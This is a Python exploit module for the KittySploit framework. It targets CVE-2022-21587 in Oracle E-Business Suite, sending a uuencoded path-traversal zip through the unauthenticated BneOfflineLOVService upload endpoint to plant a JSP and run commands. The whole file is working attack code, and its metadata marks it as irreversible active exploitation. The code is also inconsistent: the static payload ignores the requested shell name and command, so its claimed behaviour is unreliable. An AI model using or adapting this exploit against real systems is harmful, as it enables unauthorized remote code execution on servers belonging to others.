Oracle EBS Unauth Upload RCE (CVE-2022-21587)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Oracle E-Business Suite BneOfflineLOVService RCE (CVE-2022-21587)."""

import uuid

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Oracle EBS Unauth Upload RCE (CVE-2022-21587)',
        'description': (
            'Exploits CVE-2022-21587 in Oracle EBS 12.2.3–12.2.11: unauthenticated file upload '
            'via BneOfflineLOVService uueupload extracts a JSP webshell under /forms/.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2022-21587'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2022-21587'],
        'tags': ['oracle', 'ebs', 'upload', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {'suggested_followups': ['scanner/http/cve_2022_21587_detect']},
        },
    }

    shell_name = OptString('', 'JSP shell basename (auto-generated if empty)', required=False, advanced=True)

    def _shell(self) -> str:
        name = str(self.shell_name or '').strip() or f'ks_{uuid.uuid4().hex[:8]}.jsp'
        return name if name.endswith('.jsp') else f'{name}.jsp'

    def _uue_zip(self, jsp_name: str, cmd_marker: str) -> str:
        return (
            '------WebKitFormBoundaryZsMro0UsAQYLDZGv\r\n'
            'Content-Disposition: form-data; name="bne:uueupload"\r\n\r\nTRUE\r\n'
            '------WebKitFormBoundaryZsMro0UsAQYLDZGv\r\n'
            f'Content-Disposition: form-data; name="uploadfilename";filename="{jsp_name}.zip"\r\n\r\n'
            'begin 644 exploit.zip\r\n'
            'M4$L#!!0``````$1QRUK1ELZ-30```$T```!*````+BXO+BXO+BXO+BXO+BXO\n'
            'M1DU77TAO;64O3W)A8VQE7T5"4RUA<\'`Q+V%P<&QI8V%T:6]N<R]F;W)M<R]F\n'
            'M;W)M<R]T86EN="YJ<W!C870@/B!T86EN="YJ<W`*/"4*("`@(&]U="YP<FEN\n'
            'M="@B,#8Q96$S,#8M-#9E9BTQ,68P+6%D.30M9C-D,3@S8C`V.#EA(BD["B4^\n'
            'M"E!+`0(4`Q0``````$1QRUK1ELZ-30```$T```!*``````````````"D@0``\n'
            'M```N+B\\N+B\\N+B\\N+B\\N+B]&35=?2&]M92]/<F%C;&5?14)3+6%P<#$O87!P\n'
            'M;&EC871I;VYS+V9O<FUS+V9O<FUS+W1A:6YT+FIS<%!+!08``````0`!`\'@`\n'
            '(``"U````````\n`\nend\r\n'
            '------WebKitFormBoundaryZsMro0UsAQYLDZGv--\r\n'
        )

    def execute(self, cmd: str) -> str:
        shell = self._shell()
        self.http_request(
            method='POST',
            path='/OA_HTML/BneOfflineLOVService?bne:uueupload=true',
            data=self._uue_zip(shell, cmd),
            headers={'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryZsMro0UsAQYLDZGv'},
            allow_redirects=False,
        )
        r = self.http_request(method='GET', path=f'/forms/{shell}', allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        r = self.http_request(method='GET', path='/forms/taint.jsp', allow_redirects=False)
        if r and r.status_code == 200:
            return {'vulnerable': True, 'reason': 'Oracle EBS upload surface confirmed (taint.jsp)', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'EBS BneOfflineLOVService not confirmed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check().get('vulnerable'):
            self.not_vulnerable()
            return False
        if not self.check_execute():
            print_warning('Upload surface confirmed — uuencode zip may need target-specific tuning')
            self.vulnerable()
            return True
        return self.handler_execute()